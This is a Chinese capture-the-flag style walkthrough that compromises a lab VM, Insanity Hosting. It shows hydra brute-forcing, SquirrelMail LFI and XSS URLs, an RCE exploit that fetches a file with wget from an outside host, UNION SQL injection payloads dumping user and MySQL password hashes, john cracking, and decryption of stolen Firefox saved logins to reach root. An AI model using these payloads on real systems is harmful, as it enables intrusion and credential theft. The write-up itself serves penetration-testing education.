**写在前面:**记录一次有史以来最曲折的打靶经历。
目录
1. 主机发现
目前只知道目标靶机在56.xx网段,通过如下的命令,看看这个网段上在线的主机。
$ nmap -sP 192.168.56.0/24
锁定靶机地址为192.168.56.111。
2. 端口扫描
通过下面的命令对目标靶机进行全端口扫描。
$ sudo nmap -p- 192.168.56.111
靶机开启了ftp端口、ssh端口和80端口上的web服务。
3. 服务枚举
通过下面的命令枚举一下端口上运行的服务。
$ sudo nmap -p21,22,80 -A -sV -sT 192.168.56.111
从服务枚举的结果中,不仅可以获得ftp/ssh/apache服务的具体版本号信息,还得知目标靶机的操作系统大概率是CentOS。
4. 服务探查
既然服务枚举得到了相关的服务信息,那就分别探查一下相关的服务,重点探查FTP服务和Apache服务。
4.1 探查FTP服务
4.1.1 命令行探查
对于FTP服务,最直接的探查方式,就是通过命令行尝试匿名用户登录一下。
嗯,通过anonymous用户和空密码是可以登录进去的。接下来看看目录下都有些什么内容。
先通过cd命令看看是否可以切换到上级目录。
跟之前一样,确认没法直接切换到上级目录。然后看看pub下有些啥。
额,目录是空的,没啥可以查看的了。
4.1.2 EXP搜索
搜索一下看看vsftpd的3.0.2版本上有没有可以直接利用的公共EXP。
仔细查看搜索结果,基本上不太可能利用公共的EXP了,好不容易有两个后门命令执行的漏洞对不上版本号,其它的EXP基本上都是DOS相关的,不是我们所期望的。暂时吧FTP放到一边。
4.2 探查Apache
4.2.1 浏览器探查
直接通过浏览器访问一下,看看从80端口可以得到些什么。
还挺有意思的,貌似是一家云服务或者云监控服务的供应商的官网,公司的名字可能就叫Insanity Hosting。网站上有相关的服务介绍等相关信息,从最底下的内容可以得到两个信息:一,这家公司使用了名为Colorlib这家公司的WordPress主题,这说明可能靶机上运行着某个版本的WordPress;二,通过可接受的支付方式,我们初步可以判断客户可以通过站点够忙该公司的服务或者产品。
通过仔细探查,发现绝大部分情况,页面上的超链接或者按钮点击以后都是没有反映的。不过上图中所示的服务监控版块的“Get Started!”按钮可以引导我们来到一个登录页面/monitoring/login.php。除此之外,浏览器上并没有发现太特别的内容。
这里随便输入用户名密码登录的时候会直接302重定向回到login页面,不会出现任何提示信息。
并且从这里我们还知道可能使用了bootstrap前端开发框架,后面如果需要的话我们好好研究一下这个登录页面。
4.2.2 目录枚举
4.2.2.1 dirsearch
接下来我们通过dirsearch进行一下目录枚举。
$ dirsearch -u http://192.168.56.111:80
通过扫描结果来看还是有一些管理页面和登录页面之类的,逐个打开看一下,查看有没有我们感兴趣的内容(我这里主要查了是不是存在用户名/密码和key之类的),均没有我们感兴趣的内容。不过在/package.json和/package-lock.json下看到了一些貌似是相关组件的版本号,可能对我们将来有用。
继续往下查看,我们发现了phpmyadmin登录页面。
尝试用admin用户登录一下试试看,密码随便输入。
看来不是用户名密码错误的问题,貌似不允许登录,更换root用户也是一样的,后面再说。继续往下探查,通过phpmyadmin下的ChangeLog页面,可以看出这里用的是5.0.2版本,从后面的README和用户文档页面也印证了这个版本号,带会儿查查这里有没有EXP可用。
继续往下,在phpinfo.php页面中可以看到许多组件的版本号已经配置信息,这些也可能对我们有用。
继续浏览,后面的readme.md的markdown文件其实就是我们现在浏览的整个目录的目录结构。最后的wenmail也值得我们关注,应该是一个名为SquirrelMail的webmail服务登录页面。
并且通过这下面的configtest.php文件,也可以看到对应的版本号、配置文件版本号等相关信息,这些可能对我们有用,因为这个邮箱上报过远程代码执行的CVE漏洞。
4.2.2.2 dirb
因为前车之鉴,接下来还是用dirb挂载big.txt字典再扫描一遍,通过-r参数进行非递归扫描。
$ dirb http://192.168.56.111:80 /usr/share/wordlists/dirb/big.txt -r
从这里的dirb扫描结果来看,并没有更多的发现,该查看的我们在上一节都查看过了,这里直接跳过。
4.2.3 搜索EXP
接下来搜索一下上面在Apache探查中找到的一些模块的公共EXP,看看是否有可以利用的地方。
4.2.3.1 搜索Apache
从搜索结果来看,上图中标记的错误页面跨站脚本和开放式重定向是两个可能可以利用的EXP,等会儿下载下来试一下。
4.2.3.2 搜索PHP
从PHP的搜索来看,只有上图中的3个EXP跟我们的7.2.33版本有一定的符合度,但是都是同一类EXP,等会儿试一下看看。
4.2.3.3 搜索phpmyadmin
搜索一下看看有没有符合phpmyadmin 5.0.2版本的EXP。
通过搜索,发现只有上面几个跟版本无关的通用EXP有可利用的可能性,后面逐个试一下。
4.2.3.4 搜索SquirrelMail
搜索一下SquirrelMail,查看是否有符合1.4.22版本的EXP。
额,这个小松鼠的漏洞真是不少,看来探查这一块得花点功夫了。
4.2.4 EXP利用
接下来尝试利用一下前面初步锁定的一些公共EXP。
4.2.4.1 Apache的EXP利用
前面搜索到的两个EXP是关于错误页面跨站脚本和开放式重定向的,看一下EXP。
虽然原理比较简单,一个需要找到错误页面,另一个需要有可以重定向的携带反弹shell的内容才可以实现突破边界,貌似现在都不具备(其实是我不会用这个EXP),先放一边。
4.2.4.2 PHP的EXP利用
从前面的搜索来看,能够匹配目标靶机的7.2.33版本的EXP主要是分别针对gc、debug_backtrace、json serializer的disable_function绕过。但是仔细搜索目标靶机上的phpinfo.php页面,均未发现上述三项,只好放弃。
4.2.4.3 phpmyadmin的EXP利用
先看8921.sh的EXP,通过仔细看代码,并了解CVE-2009-1151漏洞,貌似条件比较苛刻:首先,phpmyadmin目录下需要存在config文件夹;其次,要求web容器对指定的磁盘路径具有写权限;最后,还需要/scripts/setup.php文件本身存在漏洞。更重要的是通过EXP代码注释发现该漏洞主要集中在3.x以及之前的版本,距离我们目标靶机的5.0.2甚远。
接下来再看看8992.php,貌似也没有cover我们的5.0.2版本,并且到2.8.2版本就结束了,也没有说明利用的是哪个CVE漏洞。
继续往下,看一下38440(因为前面一个25136需要authentication,目前我们还没有)。这个EXP对应的漏洞在3.5.0~3.5.7版本上,跟我们的目标版本也不相符。
因为接下来的45020也是需要authentication的,所有直接跳过,查看下面的15699。这里提到是在error.php页面,目标靶机上的/phpMyAdmin下面没有error.php,然后我在其他页面比如/phpMyAdmin/index.php尝试的时候没有成功,也可能是我技术不到家。
接下来看最后一个16913,这个EXP也是由版本指向的,不符合我们的目标版本5.0.2。
到此为止,基本宣告phpmyadmin上的EXP利用都是失败的。
4.2.4.4 SquirrelMail的EXP利用
接下来逐个研究一下覆盖SquirrelMail 1.4.22版本的EXP。先看一下273.c,这个貌似是通过修改密码触发内存泄露来进行root提权的。
在这里不适用,我们还没突破边界呢。接下来没有标版本的417.c也是提权漏洞,直接跳过;看27948的本地文件包含EXP。
貌似也没法成功,再看一下跨站脚本的EXP 24068。
貌似也是登录才可以。
4.3 服务探查小结
到目前为止,一无所获,折腾大半天了,实在有些不甘心。回顾前面的活动,FTP里面空空如也;云监控登录页面和小松鼠登录页面不知道用户名,没法实现爆破;phpmyadmin页面可能不允许登录(也可能是root密码错误导致的)。从当前情况来看,只剩两条路子:第一,找到用户名,对云监控登录页面、SSH登录、SquirrelMail登录进行爆破;第二,用root用户对phpmyadmin进行爆破。爆破再失败的话,只能放弃这个目标靶机了。
5. 实施爆破
5.1 查找用户名
因为有几个登录页面的用户名我们还不知道,第一步是再次浏览web页面,结合我们前面的工作,看看有没有可能的用户名。
通过再次详细浏览主页,除了一个hello@insanityhosting.vm和一个电话号码之外,没有其它的联系方式或者联系人,这个hello作为用户名有这种可能性,但是少见。先不急着爆破,再看看前面目录枚举的时候枚举出来的内容,js文件直接跳过,以为之前的时候所有的js文件都搜索过用户名。
最终,在/news页面发现了一些端倪。
这里面的Github连接是可以打开的,进去看看能不能发现一些什么。
果真,进到git以后,可以发现这个团队的名字叫BLUDIT,里面只有一个团队成员Diego Najar,这个成员的用户名应该是dignajar,一会儿我们好好对这个用户名爆破一下。
继续往下看。
这个小小的页面,惊喜不断,这个Otis的人是整个团队的leader,所以otis这个用户名我们也需要爆破一下。
说明:这里的dignajar和otis都是云监控团队里面的人,那他们也可能是SquirrelMail的用户,所以针对这两个用户的爆破点可能有多个。
5.2 爆破Monitoring登录页面
先用来浏览器手工登录看一下。
通过连续请求发现,请求的Cookie PHPSESSID的值是不会变的。这就好办了,直接用hydra挂载rockyou爆破一下。通过浏览器的开发者工具可以看出来,用户等登录操作实际上是向/monitoring/index.php这个url发送post请求表单。接下来分别爆破一下dignajar、otis、Dignajar、Otis(考虑到可能会有大小写差异)。
通过下面的命令,先爆破一下dignajar用户。
$ hydra -l dignajar -P /usr/share/wordlists/rockyou.txt 192.168.56.111 -f http-post-form "/monitoring/index.php:username=^USER^&password=^PASS^:Sign In"
爆破了半小时,没啥收货,暂时放弃,再爆破一下otis用户试试看。
$ hydra -l otis -P /usr/share/wordlists/rockyou.txt 192.168.56.111 -f http-post-form "/monitoring/index.php:username=^USER^&password=^PASS^:Sign In"
额,分分钟爆出来了,密码竟然是123456。
6. 再次探查服务
接下来用otis/123456尝试登录一下/monitoring、/phpmyadmin以及SquirrelMail。
6.1 探查monitoring
6.1.1 登录monitoring
这个管理中心只有一个主机(目标靶机),其它一无所有,但是有一点值得注意,这里可以手工添加一条sherver记录,目测这些记录是保存在数据库中的,这里可能会有SQL注入的脆弱性。点击主机列表的modify按钮,看看能不能获得靶机的更多细节。
太水了,没啥干货。
6.1.2 扫描monitoring
接下来尝试携带authentication再次扫描monitoring试试看。在开发者工具下面没有找到登录成功后的bearer token之类的,直接携带浏览器里面的user-agent和cookie用searchdir试试看。
$ dirsearch -u http://192.168.56.111/monitoring/ --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0" --cookie="PHPSESSID=qhn8f327er09l5m16hvamgcl7e"
有效果,不过看到这么多403还是不放心,直接携带用户名密码扫描看看。
$ dirsearch -u http://192.168.56.111/monitoring/ --auth-type=basic --auth="otis:123456"
逐个看看吧,首先是/js。
没啥干货,再看看.github下面有些啥。
有个YAML文件,打开看一下。
也没啥干货,扫描中返回403的都看不了,接下来把assets、class、css、fonts、images、settings、smarty、templates、vendor都看看,也没啥干货。
6.2 探查phpmyadmin
6.2.1 登录phpmyadmin
用otis/123456尝试登录phpmyadmin。
还是同样的问题,放弃。
6.3 探查SquirrelMail
6.3.1 登录SquirrelMail
用otis/123456尝试登录SquirrelMail。
啊,也成功了,还记得前有SquirrelMail上的EXP需要一个可以登录的账号吗?现在具备了,没有别的突破的话就剩这条路子了。在此之前,先看看邮箱里有没有重要的邮件。
6.3.2 探查邮箱
收件箱、发件箱、垃圾箱等等都是空的,直接结束。
6.4 探查SSH
这里先别急着利用SquirrelMail的EXP,先看看otis/123456能不能直接登录ssh,如果可以的话,这不就直接突破边界了嘛。
嗯,这条线索也是中断的,接下来只有老老实实利用SquirrelMail的EXP。
7. 利用SquirrelMail的EXP
首先尝试利用编号为27948的本地文件包含漏洞的EXP。先登录邮箱,然后尝试访问如下的路径。
http://192.168.56.111/webmail/src/redirect.php?plugins[]=../../../../etc/passwd%00
发现还是失败的,后来通过NVD得知,这个漏洞貌似只在1.0.4~1.4.6的SquirrelMail上,附上链接(https://nvd.nist.gov/vuln/detail/CVE-2006-2842)。
接下来试试编号为24068的跨站脚本漏洞,登录SquirrelMail之后,直接访问如下的路径。
http://192.168.56.111/webmail/src/compose.php?mailbox=%22%3E<script>window.alert(document.cookie)</script>
这时候会打开如下的页面,撰写邮件页面,这里面就可以包含一些邮箱服务器检查不到的恶意脚本。
另外通过NVD可以知道这个漏洞准确匹配我们的1.4.22版本。
可惜的是我们就一个靶机,没啥好跨站的,这解决不了我们期望的通过反弹shell突破边界的问题。
接下来看看编号为24160的一个邮件头中html注入的漏洞EXP。
感觉貌似是通过注入可以获得其它邮箱用户的cookie,这个跟我们突破边界也没啥直接关系,直接跳过。
再看看接下来编号为41910的远程代码执行的EXP,这个比较符合我们的期望。
有些兴奋啊,尽管搜索EXP的时候显示的是< 1.4.22,但是代码里面明确写了不超过1.4.23版本的都适用,那就得坚定不移的走下去了,直到撞上南墙。
大概浏览了一下EXP,如上图所示,貌似是一个交互式执行的shell。那就直接执行试试看吧。
看来裸奔是不行的,后面要携带SquirrelMail的url作为唯一的入参。
$ ./41910.sh http://192.168.56.111/webmail/
怀着激动的心情,等来了失败,回来看看代码。
就是这里上传配置信息的时候出错了,一步一步调试吧,先添加一下echo看看这个token和attachid内容是啥,修改后的代码如下。
再次运行,结果如下。
attached为空,用尽了各种办法,都没有解决这个错误。无奈之下直接吧这个if段给注释掉,然后再运行试试看。
虽然这个错误跳过去了,但是接下来不管选1还是选2都会执行异常,反弹shell建立失败。
最后仔细调试代码找到了原因,其实这个EXP在这里用不了,因为payload地 构建依赖发邮件时的附件(wget -q -O/tmp/smcnf-exp https://legalhackers.com/exploits/sendmail-exploit.cf
),但是通过查看靶机的phpinfo.php发现,没有设置有效的目录将附件的文件暂存,因此无法上传附件。
手动发邮件试了一下,确实报错,如下。
这个EXP也报废了,继续往下看,几个EXP的实际版本都对不上,放弃利用SquirrelMail的公共EXP的想法。
8. 探查monitoring页面SQL注入
现在貌似唯一剩下的就是前面提到的monitoring页面可能存在的SQL注入了,进去试试看。
在server状态列表页面顶部有一句话值得我们注意,说当server异常的时候,系统会发邮件报告。
我们先添加一个假的不存在的server,看看收到的邮件长什么样子再说。
接下来登录otis的SquirrelMail,看看。
果真收到了一封邮件,看看里面内容。
感觉可能注入的地方是主机名那里,我们修改主机信息试试看。
这里简单表述一下检测是否有注入的方法。因为我们怀疑是主机名字段存在注入,大概率这里的SQL语法是select … from … where HOST=’testserver’
或者是select … from … where HOST=”testserver”
,所以这里我们可以将主机名修改成testserver’ <inject SQL>
或者testserver” < inject SQL >
;最终的SQL可能是类似select … from … where HOST=’testserver’ <inject SQL>
或者select … from … where HOST=”testserver” < inject SQL >
;也就是说,我们在常规的主机名后面添加一个单引号或者双引号,来主动截断查询关键字,引号之后直接执行我们的注入SQL。
既然原理清楚了,我们直接修改我们的主机名为 testserver’ or 1=1;
试试看。
保存退出,查看一下SquirrelMail。
从这里来看,使用注入失败,再用双引号试试看。
貌似把整个表都查出来了,几千条记录。
8.1 注入SQL
接下来用下面的名字重新创建一个server用于查询一下数据库,用户名。
billson6" union select 1,database(),current_user(),4#
嗯,数据库名是monitoring,当前用户是root。接下来用下面的语句作为名称重新创建一个server,看看数据库里面有哪些表。
billson8" union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema = database()#
当前数据库中有hosts、log、users三个表,下面我们用下面的语句作为名称重新添加一个server,看看users表中的数据。
billson9" union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=‘users’#
接下来,通过下面的语句作为名称创建一个server,用于查看一下monitoring数据库中users表中的用户名、密码和邮箱。
billson13" union select 1,2,group_concat(username),group_concat(password) from monitoring.users#
这样,我们查出了三组用户和密码的对应关系。
这个加密串看上去很复杂,貌似不好破,先放一边。接下来,我们通过下面的语句作为名称创建一个server,用于查看系统数据库下面的user表。
billson15" union select 1,group_concat(user),group_concat(password),group_concat(authentication_string) from mysql.user#
这样就得到了系统数据库下的两个用户和密码的对应关系。
这个密码看上去比较整洁,尝试爆破看看。
8.2 爆破密码
先爆root用户的,把root用户的密码卸载文本文件中,用下面的命令挂在rockyou爆一下。
$ sudo john --wordlist:/usr/share/wordlists/rockyou.txt my_pwd.txt
无果,用同样的方法爆一下elliot用户的密码。
$ sudo john --wordlist:/usr/share/wordlists/rockyou.txt my_pwd.txt
爆破成功,elliot用户的密码是elliot123。
这里我们爆出来的elliot用户,是mysql用户,但是我们前面端口扫描和服务枚举的时候,都没有3306端口,所以不能直接用来登录mysql。接下来分别用这个用户尝试登录一下ssh、monitoring、phpmyadmin、SquirrelMail。结果发现这个账号可以登录ssh,也可以登录SquirrelMail。既然可以登录ssh,其它的就不操心了,因为我们已经突破边界。
9. 提权
9.1 查看系统信息
嗯,这是64位的CentOS 7.8.2003,内核版本是3.10.0-1127,等会没有思路的时候可以回来找这个版本的系统的提权漏洞。
9.2 查看passwd文件
嗯,除了root用户和我们登录的elliot用户,还有admin、nicholas、monitor三个用户,实在没招的时候也可以爆一下root用户和这三个用户。
9.3 枚举可执行文件
用下面的命令,搜索一下root用户所有的,其它用户可读可写的可执行文件。
$ find / -type f -user root -perm -o=w 2>/dev/null
这里除了/proc目录和/sys目录下的内容,并没有发现实际有价值的信息。然后搜索一下带有SUID标记的二进制文件。
$ find / -perm -u=s -type f 2>/dev/null
也没有实际可直接使用的内容,直接用sudo -l查看一下试试。
也不行。
7.9.4 枚举定时任务
通过下面的命令枚举一下系统上的定时任务信息。
$ cat /etc/crontab
没有实际可以利用的定时任务。
9.5 公共EXP搜索
到目前为止还没有进展,接下来我们先搜索一下目标主机系统版本相匹配的公共EXP,再不行的话,我们回来爆破其它几个用户。
看不出有太合适的,直接搜索内核版。
如上,貌似编号为50135的EXP可以实现本地提权,其它的都不太合适。可惜的是这个exp编译之后运行的时候也会报错,用不起来。
9.6 探查home目录
接下来我们看看elliot用户的home目录里面有没有我们感兴趣的内容。
除了我们编译的EXP(50135),其它地 我们逐个看一下。
首先,我们在**/home/elliot/.cache/mozilla/firefox/esmhp32w.default-default/cache2下面发现了如图所示的两个串。
虽然不知道是啥内容,但是感觉像是base64编码的,先解码看看再说。
嗯,不是我们实际感兴趣的内容,继续探查。在/home/elliot/.cache/mozilla/firefox/esmhp32w.default-default/cache2/entries目录下发现了一些类似hash串的内容,通过hash-identifier查看了一下,确实是一些hash,但是不知道是干啥用的,暂时放一边。
继续查看,最终在/home/elliot/.mozilla/firefox/esmhp32w.default-default**目录下发现了 大量的文件,有些文件还是.db结尾的,有些像是证书,需要仔细研究一下这个目录下的内容。
经过仔细查看,logins.json中有一些我们感兴趣的东西。
挺好玩,貌似有些加密了的用户名和密码。这样看太费劲了,先格式化一下。
这样清晰多了,不过这个加密串挺奇怪,前面有个MDIEEPg和MEoEEPg,这俩东西感觉不像是加密串的一部分,上网查也没找到合适的内容,但是找到一个github上的代码(https://github.com/unode/firefox_decrypt
),貌似说是可以解密,先把目标主机上整个.mozilla目录捞下来。
现在目标靶机上把整个目录打包。
[elliot@insanityhosting ~]$ tar -zcvf mozilla.tar.gz .mozilla
大概41M,从kali上通过scp下载一下。
$ scp elliot@192.168.56.111:/home/elliot/mozilla.tar.gz mozilla.tar.gz
然后解压以后放到kali上当前用户的home目录(/home/kali/)下,如果/home/kali下已经存在.mozilla目录的话,需要先删除或者移动到其它地方。放好以后,直接运行firefox_decrypt.py脚本。
用第一个选项运行的时候报错了,用第二个选项运行的时候,直接出结果了。没啥说的了,直接用这个密码看看能不能通过su root切换到root用户,碰到输入密码的时候粘贴贴上面的密码。
果真成功了,进一步验证一下。